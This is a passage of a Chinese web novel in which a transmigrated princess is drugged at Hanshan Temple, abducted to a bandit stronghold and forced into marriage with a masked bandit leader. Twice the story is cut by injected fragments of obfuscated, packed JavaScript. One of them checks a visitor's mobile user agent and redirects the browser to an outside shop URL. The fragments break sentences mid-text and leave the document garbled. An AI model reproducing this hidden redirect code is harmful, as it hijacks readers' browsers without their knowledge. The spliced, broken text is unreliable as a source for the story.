“郡主最喜欢这款帐中香了。”画屏伸手调整了一下熏香炉的位置。 陆泾川微微倾身嗅闻,视线朝封得严严实实的帐子中看去,总觉得味道缺了一点什么。 - 苏弱水养了几日,便又去神医处了。 等出来的时候已经过了一个时辰,她刚刚准备离开,一人上前将她拦住。 “我家主人与郡主有话要说,请郡主移步。” 苏弱水站在那里没动,直到那边道:“我关于您身边那位小公子的事。” 苏弱水终于想到一段剧情。 是晋王来了。 今次是两个护卫守着她,苏弱水略一思索,便点头道:“好。” 苏弱水一点头,那人便立刻在前面引路,七拐八拐的带着她往另外一条巷子深处去。 苏弱水还拿着拐棍,她走得有些慢,绣鞋踩在青石板砖上,被巷子里常年不消的积水濡湿。 巷子里本就暗,苏弱水头上还戴着帷帽,她皱了皱眉,用拐棍探路,前面亮起两盏灯笼,挂在一处木门口,被风吹得微微晃动。 “您请。”那人十分有礼,苏弱水身后的护卫却异常警惕。 “郡主,他虎口带茧,应当擅长用刀。”护卫压低声音提醒苏弱水。 “嗯。”苏弱水点头,安抚道:“我知道。” 这是一处安置在巷内的深宅。 苏弱水入内之后被引入花厅,有人前来奉茶。 她没用,只是坐在交椅上安静等待。 没有一会,花厅内隔着一层竹帘的后面就出现了一个人。 隔着一层薄薄的竹帘,两人皆未露脸。 苏弱水只看到中年男人置在膝盖上的一双手,其中一只的大拇指上戴着一枚价值连城的玉扳指。 晋王这边也差不多。 女人以帷帽遮面,身上裙裾繁复,连一双素手都放在宽袖中,藏得一丝不露。 “我想要郡主身边带着的那个男宠,他从前在我家做事,犯了错,我要带他回去,郡主尽管开价。”晋王声音带着一股属于中年男子的浑厚感,还有一种与生俱来的居高临下感。 苏弱水记得,原著中原身是这样回答的,“天下相似之人众多,你找错人了,你口中的这位小公子是我失散多年的弟弟,不是我的男宠。” “不可能。” 对面直接否认。 当然不可能,一个奴隶怎么会变成北平王世子?这实在是太匪夷所思了。 原身也肯定道:“你认错人了,我的阿弟就是我的阿弟。” 若没有被陆泾川救过,苏弱水不会替他说话。 没有北平世子这层身份在,晋王杀他根本不必找借口。虽然陆泾川身负天道,不会死,但必会多生波澜。 不会死,可是会疼的。 苏弱水想起少年为了救她,躺在那里冷如尸体的身体,下意识无声叹息一声,然后低着头,缓慢开口,将原身的话重新复述了一遍。 不同的是,原身真的以为对面的中年男子是找错人了。 而苏弱水则知道,她是在为陆泾川上一层保护罩。 - 谈话并不愉快,双方各执一词,晋王那边拿不出任何物证,苏弱水这里却取出了一枚日玉佩。 看着那枚玉佩,晋王开始动摇。 难道真是相似之人? 可这世上真有这么巧的事? 晋王不信。 晋王此人有一个最大的毛病,也是导致他最后跟陆泾川对阵时失败死亡的最大缺点,那就是太相信自己的猜测和想法,即使没有证据,这是上位者最容易犯的错误。 他认为苏弱水是在骗他,那她就是在骗他。她要包庇一个奴隶,包庇一个杀了他女儿的凶手,甚至不惜用上北平王世子的身份来压他。 当他会怕吗? 晋王猛地一下扫落手边茶盏。 苏弱水回到驿站的时候正看到陆泾川捧着一束荷花回来。 “阿姐。” 少年捧着荷花来到她面前,额头汗津津的是被日头晒得。 “我陪阿姐用晚膳。” 苏弱水有些心不在蔫地点了点头,晚膳也没用多少,碗里剩下的饭被陆泾川吃了。 “阿姐脸色不好。” “嗯,累了。” 陆泾川起身,替苏弱水点香。 白色的熏香袅袅升起,少年的脸被香笼罩,他看到苏弱水靠近他,拨开珠帘从他身侧经过,终于知道熏香里缺了一味什么香,是女人身上自带的香。 少年深吸一口气,嗅到那股淡香。 “阿姐早点休息。” 苏弱水已经卧床,发出很轻的回应声。 少年似乎在原地站了许久,直到画屏进来才离开。 - 似乎是因为今日见过了那位晋王的,所以晚上苏弱水做梦了。 她梦到六月底马上就要进入盛夏的天,路边草木繁茂,带着一股草木的清香,她坐在马车内缓慢朝北平方向而去。 少年一身蓝衣坐在她对面,仰头看她时脸上带着虚伪的微笑。 苏弱水看着眼前熟悉又陌生的少年,略微有些疑惑的蹙眉,然后就发现自己控制不了自己的表情。 “阿书,尝尝这个。” “她”拿起一块桂花糕递给陆泾川。 少年笑容满脸地伸手接过,“谢谢阿姐。” 陆泾川是不喜欢吃桂花糕的,桂花是他唯一不喜欢吃的食物,不过苏锦书喜欢。 少年咬一口,用力点头道:“好吃。” “她”笑弯了眉眼,取出帕子想替陆泾川擦一擦唇角边的糕点屑,没想到少年下意识偏头一躲,然后随意用指腹擦了擦,“好了。” “她”笑着摇头,显然是没有多想,只是觉得少年的动作很孩子气的可爱。 突然,马车晃了一下,然后霍然停住。 苏弱水伸手撩开马车帘子,看到刘飞骑马过来,脸上神色严肃。 “刘叔,怎么了?” “郡主,别下马车。” 刘飞话音刚落,长箭如雨点般落下,他一人挡在马车前砍断十数根。 随后,山坡之上,从四面八方冲杀下来很多匪徒。他们手持长剑长刀,凶神恶煞,直奔马车而来。 “保护郡主和小公子!”刘飞勒马组织护卫兵将马车团团围住。 护卫兵虽然强悍,但人数比不过那些匪徒。再加上匪徒熟悉地形,专门挑在此处围堵,就是仗着这里只有一个出口。 匪徒已经将那个出口堵住,后路被截断,刘飞一咬牙,替换车夫的位置,驾驶着马车往出口硬闯。 护卫兵一茬一茬的倒,“苏弱水”面色惨白地待在马车里,看着身边的少年攥紧手里的长剑。 下一刻,一支长箭突然从马车外射进去。 陆泾川抬手阻挡,砍断长箭。 长箭掉在地上,陆泾川紧皱的眉头稍微松懈一些,可他却闻到一股血腥气。 少年转头,身后女人躺在那里,胸口插着一支长箭。 长箭尾挂着一根蓝色的孔雀翎,被风微微吹动。 女人黑色长发散落,伤口处的鲜血浸染白色上衣,在上面开出艳丽的花色。 陆泾川偏头,看到了被射穿的车窗帘子。 那支箭是从马车窗子里射进来的。 女人已经断气,她的双眸还没合上,黑白分明的眸子,眉心的朱砂痣缓慢黯淡下来,像一尊失去了灵气的小菩萨。 窗户口新挂上的风铃被吹得“叮当”作响,显得一股急切焦躁。 苏弱水猛地一下起身,单手捂着心口。 她听到自己强烈的心跳声,那颗心脏像是要从喉咙里跳出来。 那是原著中苏弱水的死亡原因。 那场杀戮只有陆泾川一个人活了下来,在他奔逃的时候,遇到了北平王派来的暗卫。 暗卫们从那张带血的脸上看出了与王妃相同的眉眼痕迹,再加上少年身上带的玉佩,便确定了此人就是世子。 那些匪徒是跟晋王合作的。 自从跟“苏弱水”交谈过后,晋王虽然不十分确定陆泾川的身份,但也知道,这件事容不得他犹豫。 晋王为了给自己的女儿报仇,是一定要陆泾川的命。他知道人若是一旦回到北平,他就没有机会为他女儿报仇了。 不管陆泾川的身份是什么,他必须要他死。 现在的问题是,要怎么杀了他。 若是被北平王知道,他杀了他一双儿女,那北平和武昌就势不两立了,现在还不到撕破脸的时候。 因此,晋王想出来的办法是跟当地的匪徒合作。 金陵城内的天子虽然还高坐皇位,但实际上他手底下的这些藩王都已经快压不住了。 乱世将起,匪患横生。 苏州城外就有一座住满了匪盗的山,名唤落雁坡,寨子的名字就叫落雁寨,暗指飞过此地的人都会落下,是一个极其凶残恶毒的名字。听闻其烧杀抢掠,无恶不作。 苏州知府多次派兵围剿,都以失败告终。 之前苏弱水选择逼陆泾川自己离开,是因为她没有蠢到去搞定一个连官府都围剿不下来的土匪窝。 可现在,摆在她面前的只有这一条路了。 这些匪徒都是亡命徒,他们也渴望拥有一个强有力的后盾支持。天下马上就要大乱,晋王朝他们抛来橄榄枝,向他们要的投名状就是晋王的一双儿女。 晋王的军事实力比北平强,原著后期也证明,武昌作为坚守南方藩王阵地的关键节点,成为陆泾川战争生涯中最棘手的战役。 因此,这些匪徒会选择谁就很显而易见了。 要不要试试先将晋王的后招拆了? 可那么大一个土匪窝,苏州知府打了那么多年都没有打下来,她凭什么?凭她对剧情的先知?原著剧情中这个土匪窝隐匿到晋王地界,后期跟陆泾川对上之后,才被灭,比她活得都久。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613227|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏弱水伸手揉了揉额头,觉得太为难她这个社畜了。 - 天气已经暖和许多,苏弱水的腿疾也基本痊愈,她丢掉拐棍,在房廊下小心翼翼的来回走动。 陆泾川躺在花架下面的躺椅上,手里拿着一本书,微微偏头从书册看向苏弱水。 女人穿着靛青色的裙子,一摇一摆。 苏弱水走到陆泾川面前,视线一顿,“你在看什么?” 少年的眼神重新落在书页上,“兵书。” 兵书? 苏弱水灵光一闪,陆泾川身上有天道运气,如果让他去打土匪,能不能行呢? 可是很危险,陆泾川现在可不是未来的北平战神。而且她无缘无故让陆泾川去打土匪这件事真的很奇怪,陆泾川一定不会听她的。 算了,算了,再想别的法子吧。 - 苏弱水一连做了三日噩梦,每次都是自己心口插着箭,血淋淋地醒过来。 “画屏。” “郡主,怎么了?” “帮我备车,我要出门。” 苏弱水知道附近有座庙,虽然远了些,但为了给自己求个心安,她还是准备去一趟。 “阿姐要去哪?”苏弱水一出门,就见一楼芭蕉叶后面的窗子被人推开了。 少年趴在窗檐上看她。 苏弱水想起陆泾川大病初愈,或许也该跟着她去一趟,便道:“要去寺庙,你去吗?” 寺庙。 陆泾川的视线扫过她,想着他的小菩萨就在眼前,他何必去拜旁的。 “好啊。”少年点头,卷起手里的兵书推门就出来了。 最近日头很大,画屏跟在苏弱水身边替她撑伞。 少年无所顾忌地走在阳光下,肌肤白得发亮。 陆泾川的肌肤是漂亮的暖白色,跟苏弱水这种病弱的苍白不太一样。 他浑身上下透着属于少年的蓬勃气,是那种看一眼都能摸到阳光的感觉。 陆泾川坐到苏弱水的马车里,现在他已经不必需要苏弱水的邀请了,直接就自来熟的进来了。 苏弱水习惯性地侧躺在马车里,身后垫着靠枕,画屏替她整理裙摆。 马车出发,苏弱水用丝绸帕子遮住脸,开始假寐。最近噩梦做太多,她的睡眠质量直线下降,只能挑选一些碎片化时间休息了。 少年单手拿着兵书,另外一只手撑着下颚。 马车摇晃,他的视线随着飘荡的帕子浮动。 - 一觉睡醒,马车正好到了。 寺庙的名字叫寒山寺,应该就是现代的寒山寺。 马车穿过枫桥,进入寒山寺。 眼前的寺庙明显经过多次修缮扩大,从人流量来看已经颇具名气。大雄宝殿香火鼎盛,两边楼阁飞檐翘角。 苏弱水与陆泾川低调出行,她戴着帷帽从马车上下来。 寺庙明黄外墙,黑色屋瓦,入内之后能嗅到浓郁的香火气息,白墙之上书写黑色毛笔“佛”字。四周树木影壁,亭台楼阁。 庙内除了一些台阶之外,陡坡也不多,这对于腿脚刚刚好起来的苏弱水来说非常舒适。 画屏去外头买香烛了,陆泾川说他要去拜一拜观音。 “观音?” 苏弱水略微诧异地抬头看了他一眼,没有多问,只点头道:“好。” 苏弱水记得原著中的陆泾川对拜佛这种事情并不热衷,怎么突然就要去拜观音了。 “我去前面看看。”苏弱水这次过来要拜的是四大天王。 听说拜四大天王象征守护与吉祥。 “好。”少年点头。 苏弱水与陆泾川分开往两边去。 寺庙里人挺多的,苏弱水戴着帷帽侧身避开人群,穿过几座殿,寻到四大天王。 巍峨的殿堂内,弥勒佛于正中间,周围是四大天王的金身像。 来都来了。 苏弱水先拜了弥勒佛,然后又陆续参拜四大天王。 她也不太懂参拜的规矩,只是一味的塞香油钱。 参拜完,那边有小沙弥过来,“施主,这里可以抽签筹。” 苏弱水顺着小沙弥的手指方向看去,只见那里的桌子上有一个竹制签筒,里面插着很多竹制签筹。 苏弱水颔首,起身取了签筒,然后跪在蒲垫上求签。 签子落下,苏弱水弯腰拿起,捏在手里细看。 她看不懂签文。 “施主,这边解签。” 那小沙弥又上前来。 苏弱水点头,跟着那小沙弥往后头去解签。 寒山寺很大,比现代的还要再大上几倍,因此,前面虽然香火旺盛,但越往后面走越人烟稀少。 “还要再走吗?” 苏弱水眼看四周无人,下意识觉得有些古怪。 前面的小沙弥停住脚步,扭头看向她。 轻薄的帷帽飘动起来,撩起薄纱下摆,露出女人纤细白皙的下颚线条,还有颜色浅淡的唇。 苏弱水的第六感告诉她不对劲。 攥紧手里的签子,苏弱水转身就跑。 头上的帷帽被人从后面扯落,苏弱水只觉眼前飞过一阵白粉,她下意识想屏住呼吸,可身体慢了一步,已经吸入大半。 身体一瞬绵软下来,她努力睁开眼想看清楚眼前的人是谁,却始终看不清楚脸,只看到一层艳丽的红。 - 寒山寺内有多尊观音像。 陆泾川挑了附近的观音峰而去。 庭院内有一座围起来的石峰,此峰为七米高的山石,立于东侧庭院内,上书“观音峰”三字,听闻其乃太湖石巨型灵璧,是姑苏之最。远看高大挺拔,近看玲珑剔透,姿若观音。 再往里去,堂中供奉着一尊白玉观音菩萨,位于木雕壁画中央,手持净瓶,低眉慈目,眉心一点胭脂痣。 香火袅袅,陆泾川立于观音像前,仔细凝视。 “小公子,小公子……”外面传来画屏焦急的声音。 陆泾川回神,朝外看去。 “小公子,我家郡主不见了!” 16.第 16 章 廊上丢了一支签筹,还有一串熟悉的佛珠。 出发时,它还乖巧地绕在女人腕间。 陆泾川蹲下来把佛珠捡起来,阴沉着脸紧紧握在手中。然后视线一转,看到那支签筹,捡起来,指尖触摸到一点白色粉末。 少年迅速掏出帕子,将签筹包裹起来,然后吩咐画屏道:“去告诉刘叔郡主被人掳走了。” “什么?掳走了?” “快去。”陆泾川沉了脸,眸中显出厉色。 陆泾川天生漂亮,眉眼亦带着明艳的光彩,皱眉看人时却藏不住眸中戾气。 画屏还是第一次看到这位小公子如此模样,登时心中一惊,赶紧急匆匆去了。 陆泾川从寺庙借了马,直奔巷内窄巷而去。 他记得那位神医就住在这里,苏弱水时常过来看病,他偷偷跟过。 “我是郡主的人,麻烦您帮我看看这粉末。” 少年直接表明身份,勒马而下,鬓角被热汗浸湿,他将手中包着沾着药粉的签筹帕子递给那两鬓斑白的神医。 神医倾身上前嗅闻,然后又沾了一点放入口中。 “是落雁寨的迷魂散。” “落雁寨?” 神医把嘴里混着唾沫的粉末吐出来,然后漱了口,缓缓道:“一个土匪寨子。” - 苏弱水觉得自己并非昏迷,人却也不清醒,像被人下了那种传说中的迷魂药一般,耳边是窸窸窣窣的说话声,却听不清楚。 身体很软,连一根手指都抬不起来。 她觉得自己被放在了一辆马车里,马车辘辘前行,走了很长很长一段路,然后她被人抱了下来,放在一个摇摆的地方。 她听到水声,还有芦苇从身上划过的感觉。 她闭着眼,却能感受到一点光影变化。 太阳应该是落山了。 她嗅到一股清凉的山间的味道,然后那股味道不断扩大,带着淡淡的泥腥味和不透气的凉。 小船终于停了,她又被人抱起来,周围的声音越来越大,她听到很多人在说话。 那人抱着她走,上了坡道,那些窸窸窣窣的声音渐渐远去。 苏弱水感觉自己的力气在恢复,她做的第一件事就是睁开眼睛,想确认自己的处境。 她头上的帷帽居然还未被去除。 隔着一层朦胧的纱质感,她看到一个人,还没看清楚,她身体一落,被放在了床铺上。 随后,她的帷帽被人取下。 视野一下清晰起来。 她眼皮动了动,视线落到面前的人身上。 这个人穿着一件红衣,脸上戴着面具,那面具覆盖住他的全脸,只露出一点双眸,还隐在面具之后,旁人无法窥视其眼神。 古怪的鬼面,妖冶的红衣。 苏弱水确定自己并不认识这样的人。 她初来乍到苏州城,除了与那位素未谋面的晋王隔着陆泾川有仇,并没有得罪过谁。而且她是北平王之女,有些脑子的都知道她不能得罪,甚至可以说,只有她得罪别人的时候,别人根本不敢得罪她。 “郡主醒了。” 那人开口,声音不似成年男性那般浑厚有力,而是少年的清冽感。 苏弱水蜷缩着身体往床内挪,企图避开面前的人,可身体还没完全恢复力气,只轻微动了动,像只受惊的小兽。 看到苏弱水害怕,那人藏在面具下的眼瞳也跟着动了动,他不避讳,直接取下面具。 那是一张算好看的脸,起码在苏弱水看到陆泾川之前,像这样的面孔她一定会称赞一句俊俏,若不知道少年的真实身份,单看这张脸你完全想不到他竟是个杀人如麻的土匪,反而更像是个邻家弟弟,正在与你闲话家常。 可自从看到陆泾川那张被作者无数次称赞的漂亮少年面孔之后,任何人的脸与他的脸放到一起对比都是输。 不过看到脸,苏弱水终于想起来他是谁了。 “你不是苏州知府的人吗?” 大概是因为药物,所以苏弱水说话的声音很轻,给人一种喘不上气的感觉,有几分病美人的姿态。 眼前的红衣少年分明就是上次苏州知府送给她的那个,她不是已经让刘飞把人退出去了吗? 难道因为她退货,所以少年心怀不满,想要报复她? 屋子里只有他们两个人,少年又离得近,虽然女人声音轻弱,但他还是听清楚了。 见苏弱水还记得自己,少年的眼眸直接就亮了。 “郡主还记得我。”他双手撑在床沿边,望向苏弱水的眼神带着一种诡异的兴奋。 屋内门窗紧闭,空气里带着一股长久不透气的潮湿尘埃味道,可少年却嗅到女人身上淡淡的香气。 他神色迷恋地看着眼前女人的脸。 软腻透白的肌肤,乌黑柔顺的长发,眉心一点胭脂痣,为这份清冷增添了几许明丽。因为虚弱,所以蹙着眉,敛目垂眸。她做这个表情时,彷佛怜爱世间万千,一切罪恶都能在她眼中平息。可她偏偏又是极冷淡的,像天上高悬的月,你只能触碰到她身上散发出来的月华余晖。 “我不是苏州知府的人。”少年跪在床沿上,一只手伸出来,隔着裙裾抚上苏弱水的小腿,“郡主的腿好了吗?” 苏弱水被恶心的浑身战栗,使出全身的力气抽腿往更后面躲,一下竭力之后摔在床铺上。 猩红色的床单映衬着素衣美人,就如同将高贵的月亮拽了下来。 少年的呼吸骤然一深,他竭力压制。 女人如此抗拒,少年也不恼,只哄道:“看来是好了,郡主别怕。” “这里是哪里?你要干什么?” 苏弱水攥着身下被褥,眼神不着痕迹的往左右瞥了瞥。 “这里是落雁寨。” 落雁寨? 苏弱水知道落雁寨是什么地方。 她记得原著中并没有她被落雁寨的绑匪绑架这段剧情。 难道是因为她的出现,所以对剧情产生了蝴蝶效应? 少年抬眸,眼中浸出欲望,激动的嗓音颤抖,“我想与郡主成亲。” 成亲? 难道不是想杀了她吗?为什么是要跟她成亲? 苏弱水看向红衣少年的眼中充满了困惑,甚至都将其对陌生环境的恐惧掩盖住了。 “想要的就要自己抢,抢晚了就会被别人抢走。”少年喃喃自语。 一个存活了接近二十多年的寨子,按照少年的年纪来看,他可能出生就在这里了。 一个从小就被教导土匪生存法则的人,自然不明白正常的道德伦理和律法,先抢到就是他的。 多么荒谬的理论,可这确实是寨子的生存法则。 “郡主真好看。” 他抚摸着苏弱水的裙裾,像是忍不住想往上攀升,可在看到女人的脸时,又陡然生出一股亵渎之感,只一脸痴迷地仰头,用眼神细细描摹女人的容貌轮廓。 “我第一眼看到郡主的时候,就爱上郡主了。”少年说话时呼吸急促,满眼爱慕之情,像是真的爱惨了她。 苏弱水只觉得恶心。 “三当家的!” 屋子外面传来喊话声。 隔着一扇薄薄的竹木窗子,有人在窗口说话,“大当家的说让你回来了以后立刻去找他。” 三当家? 原来这少年在寨子里的地位还不低。 苏弱水兀自猜测,一个土匪,出现在苏州知府的府邸里。这位三当家应该是在苏州知府的府中当卧底,不然怎么每次知府攻打山寨都铩羽而归呢? 他在寨子中还戴着面具应该也是怕寨子中有奸细,发现他间谍的身份。 “郡主在此处等我,我马上就回来。” 少年重新戴上面具离开。 苏弱水的那阵晕眩还没过去,也不知道这少年用的什么药,等她身体好转过来,才发现屋子里已经没人了。 屋内没有给她点灯,外面天色完全黑了。 苏弱水等药效彻底过去,积攒了一些力气,借着一点微弱的光色走到窗边。 她伸手推开窗子,看到外面星星点点亮着火光,有赤着上身的男人手持长刀守在她的窗户口,眼神落到她身上,带着赤裸裸的欲望。 苏弱水猛地一下关上窗户,想了想,还是将窗子拴上了。 看来那个三当家找了别人看守她。 苏弱水没回那张恶心的床,她坐在凳子上发呆。 原著中虽并没有过多的提到落雁寨,更苏弱水却知道这位三当家。 落雁寨投靠晋王之后,这位三当家凭借自己出色的阴毒手段诸如焚城绝后,烹人做粮,成为了晋王手下幕僚,因为其常戴鬼面具,所以被称为鬼将。 虽然最后被陆泾川所杀,但也给男主添了不少堵。 苏弱水下意识伸手捂住了自己的嘴,瞳孔无意识睁大。 她努力告诉自己镇定,不要害怕。 - 苏弱水一夜没睡,她睡不着,也不敢闭眼,直到天亮。 黑夜过去,白日阳光出现总给人一种希望感,可偏偏今日是个阴天,灰蒙蒙的天气透着风雨欲来的阴霾,也让苏弱水稍微适应了一点的心情又跌落回去。 她记得原著中说,落雁山山高林深,地势险峻,落雁寨内山溪藏船,河流纵贯,寨子里的人熟悉水道和水性,时常躲在水道里作战,战无不胜,攻无不克,是个很难对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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苏弱水现在听到他说话都恶心,不止恶心,还害怕。 她逼迫自己凝视着水盆,让自己表现的没有那么厌恶和恐惧,“嗯,我还不知道你叫什么。” “我叫陈火离。” 《春秋元命苞》中道:火离为孔雀。 苏弱水的视线再次不受控制地看向身后的衣柜。 “陈火离?” 女人嗓音柔软,唤出这个名字的时候带着细腻的调子,如果忽略那颤抖的音调的话。 陈火离咽了咽喉咙,望向苏弱水的视线浸润出不一样的味道。 “其实比起剑,我更擅长弓,郡主喜欢那套弓箭吗?我可以送给郡主当新婚礼物。”陈火离的声音黏黏糊糊的,带着一股阴柔气。 他看到她开衣柜了?不,应该是有人在监视着她,然后将她的所作所为告诉了他。 “不喜欢。”苏弱水忍着不将情绪表露在脸上,努力和缓表情,“我想出去转转。” - 苏弱水得到了外出的机会。 陈火离派了一个人跟着她,是个光头土匪,若穿上和尚服,分明就是寒山寺里带她去解签的那个。她早就该知道,那个人是个假和尚,怪她太没有防备心了。 天气很早,除了前方瞭望台上站着的几个土匪,这里还没有人走动。 苏弱水踮脚往外看,还能看到绵延望不到尽头的寨子墙。 没多久,寨子里的人开始活动起来,虽然是土匪寨子,但十步一岗,还有人轮班巡逻,瞭望台的数量也不少。 看似混乱,实则有序,怪不得能跟苏州官府抗衡那么多年。 苏弱水观察完,得出一个结论。 她一个人逃出寨子的概率很低,几乎为零。 苏弱水开始漫无目的的在寨子里转。 那人跟在她身后,她走到哪里,他跟到哪里。 苏弱水几乎是走了一天,她歇歇停停,最后坐在河边,指着藏在芦苇丛中只露出一点船头的小船道:“我想坐船。” 跟在苏弱水身后的假和尚真土匪双手环胸道:“不行,那都是我们寨子的战船。” 苏弱水默默看了一眼那只战船,转身离开。 回去的路上,苏弱水看到一个木架子上用麻绳拴着一个吊起的巨大铁锅,下面还放了很多被烧尽的火柴。 “那是什么?” 跟在她身后的土匪不自禁变了变脸色,即使生在土匪窝里,他也同样露出惧色,“烹人的,三当家做的。” 苏弱水霎时面色惨白。 17.第 17 章 苏弱水在日落前回了那间屋子,她打开窗子通风,那个看着她的土匪就站在窗子口。 浅薄的日头落下,原本阴沉的天更加昏暗。 苏弱水远远看到前面有人从坡上下来,看穿着不似寨子里的人。 走在前面的是个中年男子,身穿褐色锦袍,手上戴着一个玉扳指,身后跟着几位明显就是练家子的护卫。 “他们是谁?”苏弱水状似无意开口。 那土匪看她一眼,知道她即将成为三当家的娘子,也多了几分客气,“昨夜来的贵客。” 如果苏弱水没猜错的话,这位就是晋王殿下。 应该是来谈合作的。 - 陈火离这几日都在寨子里,他给苏弱水送了晚膳过来。 今夜他看起来似乎是有心事。 苏弱水实在是吃不下。 短短几日,她已经瘦了好几斤,脸薄了许多,脸色也不好看,整个人显得越发清冷,跟被乌云遮住的月亮似得,没了生气。 这几日陈火离没有在晚上进过她的屋子,苏弱水都是坐在椅子上睡得,这样虽然睡得不安稳,但能及时清醒过来。 虽然这样做也不能改变什么,但能让她心里好受些也不错。 陈火离看她不吃饭,眉头皱起,温声哄她,“吃一点。” 苏弱水不想引起他的不愉快,拿起筷子,吃了几筷子米饭,被噎得有点难受,吃上一口茶,也是冷涩的很难吃。 她用了一些就不用了,将筷子放下。 幸好,陈火离也没有继续为难她。 “我已经跟大当家说过了,要与你成亲,这样他们就会放过你了。” 用完饭,陈火离突然开口。 “他们是谁?”苏弱水假装不知。 “我也不知道,看起来不像是这里的人。不过郡主放心,我一定会保护好你的。” 陈火离根本就不了解那个晋王,他是个喜欢斩草除根,甚至扒皮挖土的人。 不然他也不会千里迢迢从南昌来苏州,就是为了亲眼看到陆泾川的尸体。 晋王又是个多疑的,看到尸体面目全非,心中起疑,再令人调查,果然查出蛛丝马迹,随后抽丝剥茧寻到陆泾川的下落。 一个小小奴隶居然变成了北平世子。 晋王虽然惊诧于这件事,但更多的却是觉得棘手。 杀一个世子为自己的女儿报仇,与北平为敌到底值不值得。 从他出现在落雁寨这件事看来,他还是决定杀了,只是用了借刀杀人的合作手法。 苏弱水蹙眉思考,女人眉目沉静,周边烛光微亮,照在她瓷白的面孔上,像一尊玉质的小菩萨。 陈火离突然倾身过来,苏弱水看到他滚动的喉结,贪婪痴迷的视线。 他朝她伸出手。 一直心怀警惕的苏弱水猛地偏头避开,那只原本准备摸她嘴唇的手擦过她的脖颈,粗糙又用力。 苏弱水感觉自己脖子一疼,她一下将人推开。 “你答应过成亲前不碰我。”苏弱水嗓音颤抖。 脖颈处的疼痛其实很快就过去了,可那股潮湿黏腻的恶心感却挥之不去。 苏弱水放在膝盖上的手攥紧成拳。 陈火离沉了沉脸,深吸一口气,嗅到女人身上的香气,他忍着坐回去,“我们明日就成亲吧?” 屋内安静一瞬,苏弱水突兀产生耳鸣,她感觉自己的心猛地一下坠落,心口空荡荡的。 她好像挂在悬崖边,周围都是喧嚣的风声,她伸出手,却什么都攀不住。 看似是询问,可苏弱水根本就没有拒绝的权利。 她动了动唇,逃避似得起身走到书桌后面,拿起毛笔开始写字。 陈火离是个土匪,他不识字,可这位金尊玉贵的郡主开口说想要笔墨纸砚消磨时光。 他就给她弄来了,连书桌也是新添置的。 陈火离见她不说话,站起身来,脸上隐约显出戾气,衬得那张阴柔清秀的面孔多了几分扭曲的阴暗。 “好。” 女人突然开口,答应了。 陈火离脸上戾气消失,显出笑容。 - 原本简单粗糙的房子被布置一新,红绸挂满屋子,桌上铺了红布,床褥也换成了漂亮的鸳鸯被。 一双龙凤红烛在案上燃烧正旺,苏弱水坐在崭新的梳妆台前,从铜镜里看着身后的喜娘给她梳发。 “哎呦,我活了这么久啊,就没见过比小姐还标志的人了,看起来跟九天仙女下凡似的。” 苏弱水没有说话,也不哭,只是一味低头沉默。 可能她是想哭的,只是这几天晚上哭多了,眼泪都流干了,眼眶里涩涩的,根本就流不出来。 “小姐戴这个凤冠实在是太富贵了,衬得气色都好了。” 沉重的凤冠被喜娘压在她头上,扯得头发有点疼,苏弱水微微抿了抿唇,还是没有说话。 喜娘一个人絮絮叨叨说些吉祥话,见苏弱水一个字也不说,逐渐也跟着没了兴致,噤了声。 苏弱水很安静,连她自己都觉得安静过头了。 一般来说,她应该大吵大闹,自残绝食。 可苏弱水知道,这些手段是没有用的。 陈火离嘴上说爱她,却将她劫掠过来,他根本只是将她当作一件物品罢了。 陈火离对她的兴趣会消失,他表面和善,实际上骨子里藏着凶残的匪气,现在对她客气,只是因为她听话懂事,若她大哭大闹,他大可以像之前一样给她用药,直接强迫她。 不如她识趣些,少受皮肉之苦。 有些人将贞洁看的比性命重要,苏弱水则认为性命比贞洁更重要。 当然,这也跟她喜欢逃避的性格脱不了关系。像她这样的人,发现抗争不了,就很容易放弃。 最重要的是,正经劫匪片连警察都不会去激怒绑匪,甚至任予任求,更何况她这个人质。 喜娘大概走了一下流程,就替苏弱水盖上了盖头,然后搀扶着她往外走去。 苏弱水在屋子里僵持了一会,还是被喜娘推了出去。 隔着一扇门,屋内是不流动的沉默,给苏弱水一种虚假的安全感。 出了这扇门,是喧闹的土匪寨子,是她即将要面对的现实。 毕竟是一件喜事,虽然没有大办,但少不了要在寨子里热闹热闹。 这桩喜事是在晚上办的,四周灯火通明,红色的红纱笼灯连绵了半个寨子,一直到山顶上去,像一条红色的火龙。 苏弱水出门后,听到周围响起热闹的起哄声,酒香菜香混合在一起,隔着盖头给她带来窒息的压抑感。 地上铺了红色绸缎,苏弱水踩下去,能感觉到碎石子咯着她的脚底板。 她放慢了脚步,又被喜娘轻推了一把催促。 苏弱水脚下不稳,被碎石子扭了一下,往前栽倒。 下一刻,她被人一把抱住,握在手里的红绸也被人一起牵住。 那只搭在她腰间的手修长白皙,让苏弱水产生一种恍惚感,似乎在别人的身上也见过一只这样的手。 等她站稳,那人就松开了她,然后捏着红绸另外一端,牵着苏弱水往前去。 苏弱水乖顺的跟着,低头跨过面前的门槛,踩上里面铺着虎皮地毯的地面。 这几日苏弱水努力逛完了大半个落雁寨,如果她没猜错的话,这是落雁寨的大堂。 那些个当家就喜欢在这里议事。 “一拜天地。” 有人高唱。 苏弱水被人牵着转了一个方向。 她拧着眉头,咬住唇瓣,有些拜不下去。 那只手按住她的肩膀,带着炙热的温度,隔着喜服掐疼她的肩胛骨,将她压了下去。 “二拜高堂。” 坐在高堂之上的是落雁寨的大当家。 对于自家三弟今日大喜,这位大当家也是十分开心。 “好好好,三弟抱得美人归,大哥为你高兴。” 站在苏弱水身边的陈火离没有说话。 “夫妻对拜。” 苏弱水被迫又转了一个身,她觉得自己像个木偶一般被人摆弄。 原来她并没有自己想象中的那么镇定自若,接受现实。 “送入洞房!” 